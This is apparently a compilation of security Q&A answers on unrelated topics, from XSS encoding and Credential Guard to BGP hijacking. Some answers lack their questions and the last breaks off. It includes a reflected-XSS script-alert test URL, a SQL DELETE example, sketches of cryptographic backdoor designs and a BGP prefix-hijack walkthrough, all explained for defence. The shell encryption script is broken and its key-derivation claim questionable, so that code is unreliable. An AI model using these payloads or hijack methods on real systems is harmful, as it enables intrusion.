!exploitable (pronounced “bang exploitable”) is a Windows debugging extension (Windbg) that provides automated crash analysis and security risk assessment. The tool first creates hashes to determine the uniqueness of a crash and then assigns an exploitability rating to the crash: Exploitable, Probably Exploitable, Probably Not Exploitable, or Unknown.


Does the number of fingerprints we leave represent a security threat to the banking system?

Yes, there are a lot of researches, and the last is the most impressive:

  Researchers have shown for years that the popular fingerprint sensors used to guard smartphones can be tricked sometimes, using a lifted print or a person's digitized fingerprint data. But new findings from computer scientists at New York University's Tandon School of Engineering could raise the stakes significantly. The group has developed machine learning methods for generating fake fingerprints — called DeepMasterPrints — that not only dupe smartphone sensors, but can successfully masquerade as prints from numerous different people. Think of it as a skeleton key for fingerprint-protected devices.

So, of course, banks can't rely on fingerprints only, and their threat model should include such cases as well to build defence in depth.


What is the potential impact of the alleged OpenBSD IPSEC attack?

I think the biggest impacts will be on the public relations side.

On the plus side (from OpenBSD maintainers point of view), the idea that the FBI deemed OpenBSD important enough, back in 2000, to warrant money-backed insertion of backdoors, is a sure ego inflater. This alone could be a motive for public allegations of backdoors, whether they exist or not. Also, the apparent immediate and full disclosure is a nice PR job.

On the minus side, OpenBSD communication has long been about how much more secure OpenBSD was than any other system, thanks to proactive security auditing and numerous internal code reviews. Finding a ten-year old backdoor right in the middle of cryptographic network code would kind of deflate the myth a bit.

Now, on the technical side...

There are many ways a subtle alteration of the code could constitute a "backdoor". If I were to implement a backdoor myself, I would try to rig the pseudo-random number generator. It is relatively easy to make a PRNG look like it produces cryptographic-quality output, but with, in reality, low internal entropy (e.g. 40 bits). This would make IPsec-protected communications vulnerable to decryption with common hardware and a passive-only attacker (thus undetectable). Also, a flawed PRNG can be attributed to incompetence (because making a bad PRNG is easy, but making a good one is not), opening the road to plausible deniability.

Another backdooring method is data leakage. For instance, whenever you have some random bits in some network packet, you can arrange for these bits to actually contain data about the internal system state. A good backdoor can thus leak secret encryption keys, to be picked up by anybody aware of the existence of the leakage.

Potential buffer overflows are crude backdoors, since they can be exploited only by active attackers, which is risky. Spy agencies usually abhor risks. If such bugs are found in OpenBSD code, I think it is safe to state that they are "true" bugs, not malicious holes.


HIPAA doesn't specifically prohibit shared infrastructure.

If you are going to be a neutral firm offering SaaS to numerous practices, this architecture will be fine. Ensure that your logical security is top notch such that no client can access data for any other client. This is fairly easy, but needs to be a deliberate, documented and demonstrable process. Ensure automated testing is in place to enforce these audits, heavily test your data access layer, etc.

Also, ensure your storage is encrypted.


Why is Windows Credential Guard secure, when Windows is able to "access" credentials using RPC?

First off, it's important to know what Windows Credential Guard does and does not protect. It does protect domain credentials that have been used to log onto the current system, so that tools such as Mimikatz can't just dump LSASS and obtain cached credentials in a format that can be used to pivot to other systems on the network. It also protects domain credentials that have been used for RDP. It does not protect local accounts, Kerberos service tickets (Kerberos TGT is protected though), digest credentials, or cached logon password verifiers (these are hashes, not usable credentials).

WCG is part of the new Virtualisation Based Security (VBS) feature in Windows 10. The way it works is to use the Hyper-V hypervisor to run both the primary operating system and a secure secondary operating system in tandem. The secure secondary operating system is known as Virtual Secure Mode (VSM) and it comprises of the Secure Kernel Mode (SKM) and Isolated User Mode (IUM). Effectively, you can think about VSM as a kind of isolated version of the LSA, running outside of the operating system.

One of the key security requirements of running VSM properly is to enable Secure Boot. When this is enabled, all pieces of code from the Windows boot loader to the Hyper-V hypervisor to the SKM and IUM are protected via a signed chain of trust. Since the secure VM has numerous security features enabled (SMEP, TPM, IOMMU/VT-d, SLAT) it becomes impossible to gain code execution on the secure VM without some kind of SMM or hardware vulnerability. As the normal OS (where an attacker would gain code execution) is itself virtualised separately by Hyper-V, it is entirely isolated from the secure VM and cannot influence it except via the exposed APIs.

As such, the only way to get access to the data stored within the VSM is via the exposed APIs. These APIs are exposed only to the kernel (ring0) in the normal operating system. The main operating principle of WCG is that it acts like an oracle. You ask it to generate a remote login token for a particular system using cached credentials, and it does so. You can't see the cached credentials, and you can't use the generated token to recover the cached credential or generate other login tokens. You also can't use it to generate malicious tokens, like a kerberos golden ticket, which was possible in the past via such tools as Mimikatz.

Future reading that you might find interesting:

Alex Ionescu's BH2015 talk on SKM and IUM
Video series on IUM on Microsoft's Channel 9
Windows 10 Device Guard and Credential Guard Demystified


How to make a good choice between Symmetric and Asymmetric

Don't roll your own crypto.

But if you have to, read a proper book on crypto like Cryptography Engineering or Applied Cryptography.

Symmetric and asymmetric crypto are used for different things. It is very common they are used together.

Use asymmetric crypto (slow) to establish a symmetric crypto key (fast).


Can an ISP detect or log specific devices connected to ISP-provided home routers?

The Possibilities

If you are using a modem and router provided by your ISP, then they can potentially have full access to data about your connected devices.  This is because if you are using their device, then you don't really have a network of your own - your house is just an extension of their network.  Some ISPs may use off-the-shelf hardware, in which case they may not take advantage of their access to your home.  However, since they provided the hardware, they also have an opportunity to customize the firmware (the software running on the router) to do whatever they want.  The router certainly knows about all the devices connected to it, and it would be very easy for them to customize the device to send them data about what devices are connected and when.  It wouldn't surprise me if many companies do this for general data collection purposes or to look for violations of their terms of service.  In many jurisdictions (especially the US), I'm sure doing so would be completely legal. Whether or not any particular ISP is actually doing this is another question, and difficult for us to answer.

Regardless of whether or not An ISP tracks your devices through your router, they can still see all of your network traffic of course.  This means they can read any traffic that goes across in plain text (which primarily, but not exclusively, means HTTP).  If you use their DNS servers (which will be the case unless you change it yourself) then they can also tell what sites you visit, even if over HTTPS.  Lots of information about your devices can be gathered from your traffic, so they probably wouldn't have any trouble tracking connected devices exclusively through your HTTP traffic, as long as the devices are actively fetching data from the internet.

Actionable Steps

If you are concerned about the possibility, then the simplest solution is to use your own modem or router.  Some ISPs effectively require use of their modem (for instance, I'm still using the modem provided by my ISP because it is difficult to find modems compatible with their network).  Fortunately, using a different router is the important part.  If you plug your own router into their modem and connect your devices only to your router, then you will make it much harder for your ISP to keep track of which devices are connected.  After all, the only device they will directly "see" is your router.

Once you are using your own modem you can configure it to use a public DNS service (opendns or cloudflare for example).  There is a lot of information hiding in your DNS queries, so this is an important step for the privacy-conscious.

If you really want to hide info from them though you'll mainly want to setup a VPN service 24/7.  They must be properly configured to make sure you don't leak data though, so it helps to know what you're doing when setting one up.  Personally I don't think that step would be worth it for the average user, but that's a decision for each person to make on their own, especially given recent news coverage about regulatory changes (at least in the US) that may give ISPs more rights to sell the data they collect about you.

https://www.forbes.com/sites/thomasbrewster/2017/03/30/fcc-privacy-rules-how-isps-will-actually-sell-your-data/#5825ab6021d1


Preventing users from bypassing root/jailbreak detection measures

Quick note: latest versions of android (or one coming soon?) now have jailbreak protection built-in, and you can specify that you don't want your app installed on any jail-broken devices.

This is a bit outside of my immediate area of expertise, but I think I have a good answer for you anyway.  Like anything else, it's all about the cost/benefit analysis, and unfortunately only you can do that.  We can run through that real quick, but bear in mind that I'm not actually asking you to answer these questions here.  You're welcome to, but I'm just trying to guide you through the sorts of questions I would ask myself to answer your question.

You are attempting to detect jailbreaking for a reason.  Why?  What loss are you seeking to prevent by stopping your app from running on jailbroken devices?  Are you losing revenue from a single customer?  Or are you potentially leaking confidential documents or protected information?
What percentage of your users do you expect to have the technical ability and motivation to reverse-engineer your app so that they can defeat your jailbreaking-detection and run your app on a jailbroken device?

To give two extreme examples: if your app is a game and the potential loss to your company is ad-revenue or in-game currency sales because the person who reverse engineers your app can get everything for free, then this is probably not worth more than 5 minutes to secure on your end.  The reason is because so few people have the technical know-how to accomplish these things, and the loss-per-person is so small, even the time you took to write this question already cost you more than the potential loss.

On the other hand, if your app is a document reader for documents classified as the highest level of secrecy by the NSA, and foreign governments are going to be trying to break into it to steal our most valuable secrets (not that the NSA has any secrets anymore), then code obfuscation is not secure enough.

The answer depends on your own balance of cost/benefit.  Your risk is probably in the middle of these two extreme cases.  Ultimately though, I think only you can answer your question.

Time for a risk assessment

I think that by the time you get to "Should we obfuscate our code to prevent competitors from reverse-engineering our software?" you are past the point of needing a penetration test.  Instead, what you need is a risk assessment.  I think this is now a business question, not a security question, because you are now entering legal territory.  Competitors trying to take a part your systems is a different kind of problem.  Taking some steps on the technical side to discourage such behavior is probably reasonable, but ultimately you might be better served with some intrusion detection and a good set of lawyers.  It sounds like this effort may be forgetting about the flip side of security: some security measures are legitimately not worth the effort, and all security steps must be weight against their cost to the business.  Your business needs to decide where that balance between security and cost of maintenance is in your particular case.


Using classic ASP, is this the right way to do to protect against XSS?

<a href=”http://www.mypage.com/page.asp?var1=<%=server.urlencode(var1)%>”>

Here you are here injecting content into a URL component, inside HTML. So in principle the correct thing to do would be to URL-encode the variable, and then HTML-encode the output of that:

<a href="http://www.mypage.com/page.asp?var1=<%= Server.HTMLEncode(Server.URLEncode(var1)) %>">

However, in reality the shorter form with just URLEncode is still safe because it just so happens that the output of URLEncode never produces any character that is special in HTML. So that's fine.

<img src=”http://www.mypage.com/images/<%=server.urlencode(var1)%>”

There is a minor problem in this one, but not one that causes XSS: the Classic ASP URLEncode method treats the space character specially, encoding it as +. This is a short-form that only works in query strings; for path parts a space has to be written as %20; a plus just means a plus, so if you have a filename with a space in, this won't link to it properly.

Some platforms always encode to %20 and some have options or different methods to produce URL-encoded components for use in a path (eg in PHP, rawurlencode). Unfortunately Classic ASP doesn't do either of those things, so if you need to get this right you have to define your own function that does URLEncode then replaces + with %20 manually.

(Aside: you have smart quotes ” throughout your code. This is probably just an artefact of copy-pasting through a word processor, but if you actually used them in your source lots of things would break.)


Remove RC4 from SSL/TLS ciphers in Chromium

After several hours trying to figure out how to do that in Google Chrome I've found it! You must add the following command line parameters in the shortcut:

--cipher-suite-blacklist=0x0005,0x0004

The tricky part is that Google has not translated cipher strings so you must input each cipher in hex based on RFC 2246:

0x0004 = TLS_RSA_WITH_RC4_128_MD5

0x0005 = TLS_RSA_WITH_RC4_128_SHA


what is more secure, to have PPPoE on the modem or on the firewall

I think the question you are really asking here is if the two devices can be used to provide effective layers of security.  Yes they can but the degree of security will depend on the configuration and capabilities of each device.

I recently took a SANS course in which the instructor suggested having a router in front of a firewall doing basic packet filtering.  Basically the router drops everything except those ports you define (80,443,etc).  It's then up to the firewall to examine the packets that make it past the router.  In your case it would be the modem doing the packet filtering in front of your firewall.

The thinking behind this configuration is that it reduces the overall load on the firewall by cutting the number of packets that is examines with only a negligible increase of load on the router.  Packet filtering is a less expensive operation than stateful packet inspection.  It also has the advantage of reducing the noise in your firewall logs.

Of course it does depend on the capabilities of your hardware. I would run some tests with this configuration before committing to it.


How do I protect a Laravel backend API from hijacking/CSRF when there is a React frontend?

Sensitive Data Exposure
You should ensure that no sensitive data is made available on the frontend simply by loading the page. The site should be designed such that sensitive data must be retrieved from the backend, and only after proving valid authentication/authorization to access such data.
CSRF
CSRF is only really an issue if you are using cookies for authentication; generally, CSRF protection is not needed for API endpoints. Since you haven't mentioned any need to log in or the use of cookies, I don't think this applies here.
Authentication

A hacker will have to know the rules of how to build the token (they won't be able to copy and paste an existing one that they see in the front-end), as the token will be time unique, with any given token only being valid every 5 seconds.

This seems like a problem; an algorithm should remain secure even if an attacker knows how it works (Kerckhoffs's principle); instead, security should rely on a secret key remaining secret.

a hacker can a) figure out how token is encrypted because they can see it being built every time they make a request

If you don't want an attacker to have the token, why do you give it to them in the first place? If it is needed to access the API, this makes little sense since it sounds like it is public already. If the token is needed for administrative API functions, the user/attacker should never be able to get your encryption key in the first place. So maybe the question could use a little clarity on what the API token is actually supposed to protect.

The developers on this project are freelance without an expertise in security.

Developers do not need to be security experts, but must have at least a general understanding of the security implications of the languages/libraries/frameworks they use. I suggest you find developers who have this awareness, or at least hire someone to do a proper audit of your systems before they go live.


Do Google 2 Factor Auth backup codes work for logging into Google or other sites?

It depends.

If you're using a site that uses Sign in with Google+ (or whatever): yes. It's the exact same authentication endpoint so signin works the same way.

If you had to set up a separate account (only applies to the 2-step verification app): no. An example of this would be Dropbox.


What danger can come from D-DoS over VPN

Well, first of all you have to consider that by using a VPN you are implicitly trusting the other end of the communication, as all your data will be sent there.

This exposes you to MiM attacks, as the VPN server will, by definition, be a server in the middle of your communication. For example, all your HTTP traffic can be eavesdropped, and your packets might be modified by the remote server without your knowledge (this is a broad and different topic as it depends on several factors however).

There are also chances that your VPN provider uses you as a VPN endpoint. Several free VPN servers do this (bandwith costs money). The problem is that you might be re-routing traffic from someone doing evil things through the VPN.

If you want more information on this topic, I would refer you to this page


Remember me feature: do we need a server side token if the cookie is signed by the server?

Congratulations!  You've just invented the JWT :)
A "remember me" feature isn't practically different than a simple session token, and the entire point of JWTs is to not have store tokens server-side while still validating users.
No need to implement this yourself of course - every language has good libraries for JWTs. You should also read up on their limitations, the biggest of which is the inability to revoke them. That is why they have an expiration, which is usually quite short, and so are combined with a refresh token, which lives longer.
Helpful reference: https://jwt.io


What's wrong with RSA host key mismatch when using git?

Was the server be compromised or something wrong with my local settings?

Most likely something is misconfigured, but given the information provided, it is impossible to tell whether on the connecting client or the ProxyChains machine. If you search for proxychains 224.0.0.1 you can see quite a number of posts, like this one.

Offending key for IP in /home/name/.ssh/known_hosts:38
Matching host key in /home/name/.ssh/known_hosts:21

Looks like your /home/name/.ssh/known_hosts contains the github.com public key in line 38 and in line 21 there is a public key of an SSH server which you connected to in the past (most likely your localhost, but you should confirm it).

When you tried to reach github.com proxy returned 224.0.0.1 and git opened an SSH session to one of your own machines and rightfully reported it was not the github.com.

Side note:

  The actual real IP of "github.com" from https://www.iplocation.net/ is: 192.30.253.112

GitHub uses a whole range of IP addresses and the one you connect to can change.
See What IP addresses does GitHub use that I should whitelist?. See also: Should I worry about GitHub using IP addresses that are described as having an unknown host.


How reliable is using Fingerprint sensor (iPhone/Android) for identity approval?

The client can fake the whole process, but not authentication. This means that even if the device is stolen and the lock-screen password is compromised, the attacker cannot retrieve the key from keystore, and cannot perform a purchase in the name of the original (registered) owner. Same if the device is rooted (with or without the end-user's consent).

In the latter case, though, the following scenario is still possible: the end-user does confirm a transaction with fingerprint, but the attacker could have mangled the transaction, e.g. the end-user believes that he approved a $10 purchase, while actually it is $100. Or the end-user wants to have the product sent to her home address, but actually the transaction lists a different address.

As for the first, and most realistic threat: it should not be a big concern to you, and if it is, your model should be revised. If you have a fake user who choses to fake his authentication, he can as easily confirm a transaction with a true fingerprint, or with a fake fingerprint.

Probably one use case attack that may be mitigated on the server side: fake fingerprint transactions may come at much higher frequency, and originate from different devices. So, if you consider this attack, you can rise a flag when the same user account produces very fast purchases, and/or uses many devices simultaneously.


Can I make my Micro SD card physically unreadable if I cut the card (including its pin section) apart with scissors?

Being unable to read data is very different to being unable to interface with data.

You can take a CD or DVD to understand this better:

Find a disc that has been written to.
Cut the disc into 4 slices (some shredders do this).
Examine the underside. The data is still there.

While the data may still reside there, it would not be practical for someone to attempt to read it with any kind of standard disc drive.

Many enterprises and home users find "data destruction" in this fashion to be sufficient partly due to the facts:

Your data isn't the "lowest hanging fruit on the tree".
The effort to piece the disc back together just isn't worth it for most individuals.
With the volume of other media being thrown out, yours effectively blends in.

If you require a high level of assurance, the following works quite well:

Write to the media with zeros, ones, then with a random pattern.
Ensure that you pass over the media several times.
Separate the storage (platters, flash, NAND) from the controller(s).
Throw the controller(s) out unless it/they has/have a non-volatile cache.
Physically "attack" the surface and internals of the storage/controller (hammer).
Place storage/controller into a high temperature furnace or lava flow.
Take the remnants and spread randomly over a public green space.
Water said locations.


This is a very low-risk threat and you could ignore it in most cases.

That being said, the document explains the rationale behind ensuring that separate partitions exist for each of the mountpoints you specified. Since they are world-writable, you run the risk of resource exhaustion without binding mount points to a separate partition. Additionally, separating partitions allow you to set a noexec flag on mounts that should not contain executables. Finally, it makes resizing on the cloud easier.

Finally, you don't need 6 separate EBS volumes; /tmp could be mounted using
ramdisk; you could have multiple partitions for the same physical volume.


Is there a cryptographic disadvantage to applying bcrypt to an already hashed password

Well, in theory explicitly using SHA256 outputs as input limits the amount of possible inputs, but the huge(!) number of SHA256 outputs makes this a negligible factor. Knowing this provides no real advantage (as far as we know today), as the hash output is pretty much pseudo-random. There shouldn't be much difference between all possible SHA256 outputs and 2256 random strings being fed into the function. You can't really derive a pattern from the outputs (if you could, the hash function is bad). I can't see any major implications from a cryptographic perspective.

A comment on your scenario, or why client-side hashing imho is not an improvement over sending plain text:

Using client-side hashing prevents an attacker from getting a clear-text password, IF (huge if, as you described a lot of high security standards) they can comprimise the connection SOMEWHERE. However, hashing the password before sending it, effectivly makes the hash the new password, as your server doesn't care whether or not the provided password is a hash or "topSecretK3y".

If an attacker gets this hash, its value is just a high as the original password, as he can now impersonate the victim.

P.S.: The only "drawback" is that the attacker cannot use the username/password for other websites, so you at least prevent a "password reuse attack" on other websites.


Unknown TLS protocol detected on network

We solved it. This was a proprietary protocol used by Honeywell in their alarm systems. They are sending it over port 443, which is a terribly bad idea as their documentation states they have problems with many different routers (because of it).

I wish I could say that we figured this out in some elegant manner. I proceeded by trapping the failed TLS/ClientHello message, then looked up the original destination in the conntrac tables. A reverse IP lookup indicated that this was owned by AlarmNet, which then led to us experimenting with turning network interception on/off while observing the alarm system. Just old fashioned detective work and elbow grease.


Why would a hacker bother with stealing your database password?

But if somebody can steal it from those places, then s/he can already inject code into your system

This premise is wrong. Especially for a config file, there are multiple ways the password could be stolen without the attacker having the ability to modify code. Some examples:

From old backups of the source code.
Accidental check in of the config file into a public repo (as per Matthews comment)
Any situation where the attacker can read but not write to files.

For environment variables and docker secrets, the risk of an attacker gaining read access is much lower. A more serious compromise would be needed, and that would increase the likelihood that the attacker could also modify the source code. This, inscidentally, is exactly why these methods of storing passwords are prefered over the simple config file!

Anyway, from a practical point of view it is much less of an headache for the attacker to  connect directly to the database with the password, then having to modify an existing application to do the work for you. But you are right, once the attacker have gotten that far you are already owned any way.


File encryption that supports random read access?

I'm looking for a file encryption algorithm (or library) that supports
  efficient random access to the cleartext. That is, given an encrypted
  file, I need to be able to repeatedly read arbitrary byte-ranges from
  the cleartext with as little overhead as possible.

What you are asking is highly dependent on the encryption primitive. You can't have arbitrary access to the plaintext without decrypting the ciphertext on each access. To reduce overhead you can decrypt the whole file once, cache it, and use it afterwards or, depending on the encryption scheme, store the minimum required amount of parameters needed to decrypt the needed information. For example, (secure)block ciphers chain all previous blocks prior to the encryption of the current one. Thus it is sufficient to know the output of the previous one(and the key) in order to decrypt the current block. Knowing the length of the block, the initialization vector(if used) and the decryption key you can store the outputs of each block. Unfortunately, in the case of AES, this does not reduce storage requirements(as you will be storing data with the length of the whole plaintext). However, depending on the segments of the file being used you can estimate a usage probability and cache the plaintext only for those entries. Practically, it is difficult to implement due to the (very) likely different offsets of useful plaintext and blocks.

  This clearly isn't rocket science: I imagine one would do it by
  breaking the file into fixed-size chunks and encrypting each chunk
  with a symmetric cipher like AES. I'd need to use a different key for
  every block (derived by combining a master key and the block offset?),
  and I'd want an in-memory LRU block cache for performance. But it's
  fiddly enough that I'd much rather use an existing library than design
  it myself and run the risk of getting something disastrously wrong.

A makeshift solution would look like:

makeshift_crypto.sh

#!/bin/bash
d1="enc/"
d2="dec/"
# Split the file into separate files of 1000 bytes each, suffixed by _bigFile
split -b 1000 bigFile.tar.gz --additional-suffix=_bigFile
# Encrypt each file using aes256 cbc(with salt)
for fl in *_bigFile; do $ openssl enc -aes-256-cbc -salt -in "$fl" -out "$enc""$fl"; done
# Decrypt each file
for fl in `ls "$enc"`; do openssl enc -aes-256-cbc -d -in "$enc""$fl" -out "$dec""$fl"

  If I did have to design this myself, my main question would be key
  derivation: is it safe to derive each block's key from a master key
  and the block offset -- something like SHA2(masterkey || offset) -- or
  do I need to generate a random key for each block? (If the latter,
  those keys will need to be stored in the file, which makes it a bit
  trickier to keep the file chunks on filesystem block foundaries

No, it is not safe, as getting the key from block i(i is an index to that block) would allow retrieving all remaining keys n - i where n is the number of keys(blocks) and 0 <= i < n. Key management complexity also increases with the number of blocks. It is safe to use a single key for all of them(as you would if you would encrypt/decrypt the file entirely).


What does Mark Shuttleworth mean by "we have root"?

The wording of that sentence may seem a bit worrying because in a way it implies that they have root access as a backdoor that is already installed and in use. The truth is that it was just bad wording from Mark and what he tried to explain is that, yes, they have potential root access to your machine because every package update runs as root and at that point they can do and install anything they want or anything that could potentially sneak in from some open source project.

If you also go through the comments on that blog post you will find Mark giving the answer to your question(his username in comments is 'mark')

Someone asked him:

  Sebastian says:
  (http://www.markshuttleworth.com/archives/1182#comment-396204)
  September 23rd, 2012 at 11:42 am
  Ermm. You have root? Details please.

and then Mark replied:

  mark says:
  (http://www.markshuttleworth.com/archives/1182#comment-396225)
  September 23rd, 2012 at 1:00 pm
  @Sebastian – Every package update installs as root.


No.
Session data is stored on the server.

The session ID is the only thing transferred back and forward between the client and the server. Therefore, unless the server is hacked or has a server-side bug, the client cannot change the session data directly. In your case, the username in the session variable seems to be part of the session ID or it's replacement (this is a little unclear).

That does not mean that the system does not have to ensure that only the valid client knows the session ID, because that's what links the client to the specific session. That is why the session_regenerate_id() function must be used every time a login attempt is performed. This prevents session fixation.


How to single key decrypt pgp encrypted mails in a multi key/multi identitiy setup?

I don't believe OpenPGP has a mechanism built in to handle this situation. If your goal is to have a repository of emails, all encrypted with a single non-publicly-shared identity's key I'd suggest just creating an archives identity/keypair/email and forwarding all messages to that address yourself.

Of course, if you delete an identity's private key and later receive new messages encrypted for that identity you wont be able to read them.


Yes, you should add a text to each password so that the text being hashed is always at least X long, this is called a salt, and it should be unique to each user.

A database entry might look like this:

username : password : salt

bob : qiyh4XPJGsOZ2MEAyLkfWqeQ  : zyIIMSYjiPm0L7a6

the salt should be randomly generated when the account is created, and then you would concatenate the salt with the user's password input, run it through a 1-way hashing algorithm (multiple times to slow it down), and then save the output in the password field, and duplicate the procedure upon login, then compare the two strings (make sure to do full comparison, don't stop once you notice the strings no longer match, in order to prevent a timing attack)

for an actual implementation I would check  Ángel's link


Storing e-mails on private servers and getting consent from data subjects (EU GDPR)

You need to process personally identifiable information (PII) stored in e-mails so that you can run an e-mail server for your company. This means you have a legitimate interest in processing PII and as long as you don't use the the collected personal information for any other reason than e-mail communication, you do not have to obtain an explicit consent.

Since you have a legitimate interest, you are not required to obtain the consent.

You would need the consent, if you, on top of processing the e-mail, would want to use the information in a way that is not required for processing e-mails. E.g. you would send the e-mail addresses to a 3rd party for their marketing purposes -- this is of course a bit extreme, but this is more or less the kind of situation GDPR is trying to prevent.

Of course, even if you have the e-mail server just for sending and receiving e-mails and no consent is needed, there might be some further obligations under GDPR, such as that you are expected to take all the necessary precautions to secure access to the e-mail server, but that is something you need to do anyway.


Does typing something in Notepad but not saving it leave any trace?

Microsoft Notepad will not save anything to disk unless you explicitly tell it to do so (by using "Save As"). This is in contrast to more complex programs like Word or Notepad++ that has autorecovery features and might save safety copies of files. I do not know, but suspect, that simple, basic text editors on other OS's work the same way.

If it would be saved to disk, it would persist and possibly be recoverable even after it would supposedly have been deleted. So that would be a bad practice.

Malware could off course read it from the clipboard, or extract it from RAM (where it must be stored sometime anyway, even if you just type it into the password box). But if you have malware on your system all your passwords are lost anyway, so how you type them isn't really an issue.

I would say the major security issue with your scheme is that the password will remain in the clipboard (unless you always remember to copy something else directly afterwards) so that someone who uses the computer after you could stumble upon the password just by pasting.

Also, there are legitimate programs that reads the clipboard and saves it so you can get a clipboard history. Obviously, if you have one of those installed, you are in trouble.

I would recommend that you just use a password manager.


There sure are a lot of sites out there with this file. It looks like someone trying to test the ability to upload a file, or upload a file and then modify it maybe.

I can't find any description of this file name being from a specific vulnerability scanner, I'd say you are right that this is a bot and not human, they could be marking sites as Google seems to index them, though I'd expect malicious users to attempt to cover their tracks and not leave evidence behind of their visit.

Things you could do - delete the file, check your permissions on your upload directory, make sure no one can execute anything, check your permitted file types and how you are preventing them, consider banning this IP and consider preventing indexing via robots file if you don't need it.


I think it's fair to say that the idea that any large organisation is entirely impervious to attack has been proven false over the last five years or so.  Everyone from nation states through large corporations, security consultancies and other security minded companies have had breaches.

One reason that a bank hasn't been thrown into "complete chaos" as you put it is likely down to a combination of the security measures they have in place to react to attacks, the size and complexity of their systems and the motivations of people who have the resources to effectively attack them.

If you think about people who are most motivated to attack banking systems, it's criminals who want to steal money from them.  From their perspective there's no reason to cause chaos, they want to get in, steal things and get away without being noticed, if possible.


How to rule out the secondary NIC's from nmap

If you are doing a network scan it means you are trying to find all the IPs that are 'alive' on that network, so, if if every host has three IPs listening on that subnet inevitably you will get all of them to respond.

I don't think what you want if possible. The only thing I can think of it's that the lowest IP should be the primary on each host. Not guaranteed, but very likely.


OpenPGP also hashes the package content's, but additionally cryptographically signs the hash.

A simply hash sum only allows to detect transmission problems. It does not allow to detect attacks, at least not as long as the hash is not verified through some secure channel.

Given the signer's key was validated and is trusted, OpenPGP provides such a secure channel and allows to verify the package's origin in addition to detecting transmission errors. There are different ways to validate an OpenPGP key, but simply fetching a key from a key server should never be considered one.


Relationship between CVSS and Risk Level in Nessus output data

generally Nessus severity ratings will line up to the brackets outlined here for CVSS Score --> severity mappping so

  NVD Vulnerability Severity Ratings
  NVD provides severity rankings of "Low," "Medium," and "High" in addition to the numeric CVSS scores
  but these qualitative rankings are simply mapped from the numeric CVSS base scores:

  Vulnerabilities are labeled "Low" severity if they have a CVSS base score of 0.0-3.9.
  Vulnerabilities will be labeled "Medium" severity if they have a base CVSS score of 4.0-6.9.
  Vulnerabilities will be labeled "High" severity if they have a CVSS base score of 7.0-10.0.

However on top of that Nessus has a "critical" rating which according to this blog post they use for CVSS 10 vulnerabilities


How do web browsers detect XSS attempts when the X-XSS-Protection header is enabled?

You can read up about the Chromium XSS Auditor here. Basically, it checks to see if client-side code was reflected from the URL query. For instance, the following page contains a legitimate piece of code that creates an alert box (<script>alert('123456');</script>). The XSS Auditor will trigger if you navigate to the same page but with the code snippet in the URL, because the Auditor assumes that the "payload" was reflected from the URL query:

http://webdbg.com/test/xss/alert12345-mode1block.aspx?%3Cscript%3Ealert(%2712345%27)%3B%3C%2Fscript%3E

Try changing 12345 to something else and observe how the Auditor now renders the page because the alert()s' values no longer match.

The comments in the XSS Auditor's source code are particularly helpful in getting a better understanding of how it can tell legitimate and malicious code apart, most notably the following comment:

// If the resource is loaded from the same host as the enclosing page, it's
// probably not an XSS attack, so we reduce false positives by allowing the
// request, ignoring scheme and port considerations. If the resource has a
// query string, we're more suspicious, however, because that's pretty rare
// and the attacker might be able to trick a server-side script into doing
// something dangerous with the query string.

This also indicates why the XSS Auditor does not prevent stored XSS payloads from executing.


Can someone steal my IP address and use it as their own?

Network engineer with Border Gateway Protocol (BGP) experience here.

Yes.  But usually the attack would have to be for a larger address block and (as Eevee commented) require an attacker with specific skills and access.  If someone calls you and claims that your IP is hacked, they are probably a scammer.  Hang up!

Back to the question:

Let’s assume the “good ISP” company is allocated 1.1.0.0/16.  You are a customer of “good ISP” and your home router public IP address is 1.1.5.5.

“EvilCo” wants to make you look bad by downloading ...inappropriate... content from 1.1.5.5.  They have an unfiltered BGP routing protocol connection to the Internet and advertise 1.1.5.5/32.

That attack fails.  While their BGP connection is not filtered (and we are talking about route advertisement filters here, not packet filters), Internet ISPs generally don’t accept IPv4 routes more specific than a /24.

So EvilCo advertises 1.1.5.0/24 in BGP.  That succeeds.  Both 1.1.5.0/24 and 1.1.0.0/16 exist in the core Internet routing table and the more specific route wins!

A few mitigations:

ISPs generally filter BGP connections to their customers and only accept specific routes, but there are plenty of unfiltered BGP connections out there (I personally had access to one in a prior job...it was so old it was created before the ISP tightened their standard configs).
Good BGP operators use a “BGP monitoring service” which sends them an email when someone else advertises one of their assigned blocks. (BGPmon)
There are “route registry databases” (RADB for example) and some ISPs try to police their routes with the databases, but those databases are generally incomplete.
The requirement to attack a larger block (/24) makes the attack more obvious, since multiple people are affected and all BGP updates are logged by several organizations.

It is also possible for a rogue operator inside “Good ISP” to specifically take over your /32.

It is always possible for anyone to send traffic with a source IP of 1.1.5.5 without rerouting the block, but that will not result in completed TCP handshakes so no downloads will occur (DNS queries are usually single-packet UDP, so it is easy for someone to forge DNS queries from your IP address for an inappropriate domain and send it to an arbitrary DNS server where the query might be logged).

There's a pretty good discussion and history of “BGP hijacking” incidents on Wikipedia. Network operator organizations including NANOG (North American Network Operators Group) communicate and cooperate to deal with (or at least bring visibility to) these when they occur.

Many (most?) BGP hijacking incidents are “operator error” rather than intentional.  In some cases companies find IPv4 address space that is assigned to a no-longer-operational entity and use that for business operations.  IPv4 address space is scarce and expensive due to IP address depletion.


You don't need to validate every signature if each TSA, before adding its time stamp, validates the previous signature. So TSA 1 validates the initial document checking the validity of the initial CA. Then TSA 2 validates the signature of TSA 1. As this signature covers the entire document, we know that the document hasn't been changed. Then TSA 3 validates the the signature done by TSA 2. As this includes everything, including the signature of TSA 1, we know that there's been no tampering. This carries on all the way through TSA N. Each TSA only needs to validate the previous signature. When you eventually receive the document, all you need to do is validate the signature done by TSA N and you'll be guaranteed that nothing has been changed.

One interesting aspect of this data structure is that even if a TSA's private key becomes exposed, as long as that exposure occurs after the next signature is applied, the security of the document is not jeopardized. Specifically, if TSA I's key is exposed after TSA I+1 has signed the document, integrity is maintained.

As @jhash points out, this is a block chain that has become popularized by Bitcoin.


I'm a little unclear on what you mean by "front end" but if you are talking about somehow firing database commands directly from the client side of a web application this would be very bad.

Any client side javascript you have can be easily modified or circumvented entirely, meaning that any command you execute from the client side could be modified to do whatever a malicious user wants.  For example they could change your command from: SELECT * FROM Products to DELETE Products

In addition to that, it is a bad idea to have your database server accessible from the internet.  Typically you want to have a web server that is accessible from the internet and then your database server would be available to the web server.


Can I block viruses from a USB stick by scanning it before opening its folder?

Referring to my answer to this question (before it was migrated):
No, scanning the drive without "opening the folder" isn't a secure way to protect against viruses on the drive. It's very risky to insert what you believe to be a compromised USB device into your PC, no matter what AV you have installed.
If you desperately need files from the drive (to quote myself):

